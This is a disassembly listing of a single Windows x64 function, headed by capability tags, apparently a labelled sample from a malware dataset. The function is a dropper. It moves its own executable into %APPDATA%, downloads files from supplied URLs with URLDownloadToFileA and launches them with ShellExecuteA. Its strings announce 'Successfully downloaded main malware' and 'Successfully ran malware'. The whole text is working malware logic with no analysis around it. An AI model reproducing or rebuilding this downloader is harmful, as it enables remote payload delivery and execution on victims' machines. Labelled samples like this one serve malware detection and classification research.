Function at 0x140001584
Capabilities:
Create process on windows
Download url
Get common file path
Move file
Query environment variable
Receive data

Disassembly:
push rbp
push rbx
sub rsp, 0x498
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x430], rcx
mov qword [rbp + 0x438], rdx
mov qword [rbp + 0x440], r8
mov qword [rbp + 0x448], r9
lea rax, [rbp + 0x2e0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
lea rax, [rbp + 0x2e0]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0x430]
mov rcx, rax
call sym.strlen
add rax, rbx
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x430]
lea rax, [rbp + 0x2e0]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcat_s]
call rax
lea rax, [rbp + 0x1d0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0xc0]
mov r8d, 0x104
mov rdx, rax
lea rax, str.APPDATA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0x450]
mov rcx, rax
call sym.strlen
add rax, rbx
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x450]
lea rax, [rbp + 0xc0]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcat_s]
call rax
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x1d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileA]
call rax
mov dword [rbp + 0x40c], eax
cmp dword [rbp + 0x40c], 0
jne 0x1400016ce
lea rax, str.____Error_moving_file_n
mov rcx, rax
call sym.printf
jmp 0x1400016dd
lea rax, str.___Successfully_moved_file_n
mov rcx, rax
call sym.printf
lea rdx, [rbp + 0x2e0]
mov rax, qword [rbp + 0x438]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov dword [rbp + 0x408], eax
cmp dword [rbp + 0x408], 0
jne 0x14000175b
lea rax, [rbp + 0x2e0]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov qword [rbp + 0x400], rax
jmp 0x14000176a
lea rax, str.____Error_with_download_n
mov rcx, rax
call sym.printf
lea rax, [rbp - 0x50]
mov r8d, 0x104
mov rdx, rax
lea rax, str.APPDATA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0x448]
mov rcx, rax
call sym.strlen
add rax, rbx
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x448]
lea rax, [rbp - 0x50]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcat_s]
call rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x440]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov dword [rbp + 0x3fc], eax
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, [0x14000a05a]
mov rcx, rax
call sym.printf
cmp dword [rbp + 0x3fc], 0
jne 0x14000189c
lea rax, str.___Successfully_downloaded_main_malware_n
mov rcx, rax
call sym.printf
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov qword [rbp + 0x3f0], rax
cmp qword [rbp + 0x3f0], 0x20
jbe 0x140001883
lea rax, str.___Successfully_ran_malware__n
mov rcx, rax
call sym.printf
jmp 0x140001892
lea rax, str.____Error__n
mov rcx, rax
call sym.printf
mov ecx, 0
call sym.exit
lea rax, str.____Error_downloading_main_malware_n
mov rcx, rax
call sym.printf
nop
add rsp, 0x498
pop rbx
pop rbp
ret